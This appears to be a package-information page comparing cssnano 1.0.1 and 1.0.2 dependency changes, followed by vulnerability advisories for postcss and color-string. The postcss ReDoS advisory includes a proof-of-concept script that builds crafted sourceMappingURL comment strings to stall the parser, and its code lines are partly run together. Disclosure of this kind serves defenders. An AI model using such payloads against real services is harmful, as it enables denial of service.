Cssnano is a modular minifier for CSS, enhancing website performance by reducing file sizes. Versions 1.0.1 and 1.0.2 offer improvements for developers seeking optimized CSS. The core functionality remains consistent: leveraging the PostCSS ecosystem for modular and configurable minification. Both versions include a suite of plugins like postcss-colormin, postcss-merge-rules, and postcss-discard-duplicates to handle various optimization tasks from color reduction to rule merging and duplicate removal. Developers can customize these plugins to tailor the minification process to their specific project needs.
The key difference between the versions lies in the updated dependencies. Version 1.0.2 updates postcss from ^4.1.4 to ^4.1.8, and postcss-convert-values from ^1.0.3 to ^1.1.1, also updating postcss-minify-selectors from ^1.3.0 to ^1.3.1. These dependency upgrades likely introduce bug fixes, performance improvements, and potentially new features within those respective plugins. Developers should review the changelogs of these updated plugins to understand the specific changes and ensure compatibility with their existing CSS. Though seemingly minor, these updates contribute to a more stable and efficient minification process, ensuring a better overall experience and potentially improved compression ratios. Always consider testing your CSS after upgrading to ensure that the changes haven't introduced any unexpected side effects to your styling.
All the vulnerabilities related to the version 1.0.2 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.
Regular Expression Denial of Service (ReDOS)
In the npm package color-string, there is a ReDos (Regular Expression Denial of Service) vulnerability regarding an exponential time complexity for
linearly increasing input lengths for hwb() color strings.
Strings reaching more than 5000 characters would see several milliseconds of processing time; strings reaching more than 50,000 characters began seeing 1500ms (1.5s) of processing time.
The cause was due to a the regular expression that parses hwb() strings - specifically, the hue value - where the integer portion of the hue value used a 0-or-more quantifier shortly thereafter followed by a 1-or-more quantifier.
This caused excessive backtracking and a cartesian scan, resulting in exponential time complexity given a linear increase in input length.